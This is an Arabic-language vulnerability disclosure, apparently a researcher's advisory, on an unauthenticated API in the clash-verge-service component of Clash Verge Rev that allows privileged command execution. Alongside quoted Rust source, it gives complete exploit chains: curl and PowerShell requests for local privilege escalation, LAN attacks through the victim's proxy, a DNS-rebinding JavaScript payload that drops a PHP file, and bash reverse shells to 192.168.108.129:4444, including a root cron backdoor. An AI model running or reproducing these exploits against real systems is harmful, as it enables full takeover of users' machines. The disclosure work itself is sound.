
واجهة برمجة تطبيقات غير مصرّح بها تؤدي إلى تنفيذ أوامر عشوائية وتصعيد الامتيازات في Clash Verge Rev
تنجم الثغرة عن واجهة برمجة تطبيقات (API) غير مصادق عليها توفّرها مكوّن clash-verge-service، والذي يُثبَّت بامتيازات مرتفعة افتراضيًا. تتيح هذه الثغرة للمهاجم تنفيذ أوامر عشوائية، مما يؤدي إلى سيناريوهين أساسيين للهجوم: تصعيد الامتيازات محليًا (LPE) على الجهاز المضيف وتنفيذ الأكواد عن بُعد (RCE) بشروط محددة.
يمكن استغلال ناقل RCE من قبل مهاجمين على نفس الشبكة المحلية (LAN) إذا كان المستخدم قد فعّل خيار اتصالات الشبكة المحلية. والأهم من ذلك، يمكن استغلاله من الإنترنت العام من خلال دمج الثغرة مع هجوم إعادة ربط DNS (DNS Rebinding)، مما يمكّن المهاجمين من تجاوز سياسات الأمان في المتصفح وتنفيذ أوامر على جهاز الضحية بمجرد جعله يزور موقعًا ويب خبيثًا.
تم تقديم التحذير العام الأولي من هذه الثغرة بواسطة @KawaiiZapic على منصة X.
يعمل مكوّن clash-verge-service بامتيازات عالية (root أو SYSTEM) ويعرّض واجهة HTTP API غير مصادق عليها على 127.0.0.1:33211. تكمن الثغرة في نقطة النهاية /start_clash، التي تقبل حمولة JSON للتحكم في بدء تشغيل عملية نواة Mihomo.
تقوم الخدمة ببناء وتنفيذ أمر بناءً على عدة معاملات من هذه الحمولة، باتباع بنية مشابهة لما يلي:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
من الأهمية بمكان أن جميع المعاملات الأربعة — bin_path وconfig_dir وconfig_file وlog_file — يمكن للمهاجم التحكم فيها بالكامل. على الرغم من أن Rust توفر حماية متأصلة ضد حقن الأوامر التقليدي (مثل استخدام ; أو | لربط الأوامر)، فإن تحكم المهاجم في بنية الأمر بالكامل يتيح هجومًا من مرحلتين لتحقيق تنفيذ تعسفي للأكواد.
/start_clashclash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() تستدعي start_mihomo() وstart_mihomo() تستدعي الدالة process::spawn_process(bin_path, &args, log) تمريرًا bin_path. تستدعي spawn_process() الدالة std::Command::new(command) لتنفيذ الأمرclash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

يمكن تصعيد الثغرة إلى RCE في سيناريوهين.
إذا فعّل المستخدم خيار "السماح بالشبكة المحلية" (局域网连接) داخل عميل Clash Verge Rev، يصبح خادم الوكيل الخاص بالتطبيق متاحًا لجميع الأجهزة على نفس الشبكة المحلية. يمكن للمهاجم على نفس الشبكة المحلية استغلال ذلك عن طريق توجيه طلبه الخبيث عبر وكيل الضحية المكشوف.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
يمكن تنفيذ هجوم أكثر تقدمًا من الإنترنت دون الحاجة إلى الوصول إلى الشبكة المحلية. تعتمد سلسلة الهجوم على إعادة ربط DNS مع سلوك متصفح محدد يُعرف بثغرة "0.0.0.0-day".
يكمن مفتاح هذا الهجوم في أن Firefox وبعض إصدارات Chromium تعامل عنوان IP 0.0.0.0 كاسم مستعار لـ 127.0.0.1. وهذا يتيح للمهاجم تجاوز ميزات الأمان الحديثة في المتصفح مثل سياسة المنشأ نفسه (SOP) ووصول الشبكة الخاصة (PNA).
مسار الهجوم كما يلي:
attacker.com).attacker.com إلى عنوان IP العام الحقيقي. تُحمَّل الصفحة الخبيثة في متصفح الضحية.attacker.com إلى 0.0.0.0 مع TTL قصير جدًا.attacker.com ويتلقى الآن 0.0.0.0.127.0.0.1 على جهاز الضحية.نظرًا لأن أصل الطلب ما يزال attacker.com، ينجح السكريبت في تجاوز قيود الأمان والتواصل مباشرة مع واجهة برمجة التطبيقات الضعيفة clash-verge-service على 127.0.0.1:33211، محققًا تنفيذ الأكواد عن بُعد.
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
استبدل كاشف PHP بأي لغة برمجة نصية تدعم علامات الحدود. إذا كنت تريد الحصول على جذر شل (root shell)، فراجع القسم التالي وعدّل الحمولة.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

ملاحظة: عند تخصيص Content-Type إلى application/json، لا تضبط no-cors. First then second هو وضع إعادة ربط DNS أبطأ لكنه أكثر استقرارًا. يمكنك أيضًا اختيار multiple answers، ولكن بعض خوادم DNS العامة قد تخفف من ذلك، مما يتسبب في فشل الهجوم.
تحتوي أنظمة MacOS وبعض أنظمة Linux (مثل Kali) على zsh، وهو ما يسمح بتنفيذ السكريبتات باستخدام -d و-f.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
-d التي تمررها الخدمة سيُساء تفسيرها كخيار غير صالح من قبل bash نفسه.let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
شكرًا لـ @Esonhugh لاقتراحه أن zsh يمكن استخدامه لتنفيذ الأوامر بنجاح في هذه الظروف.
قم بالتحديث إلى أحدث إصدار.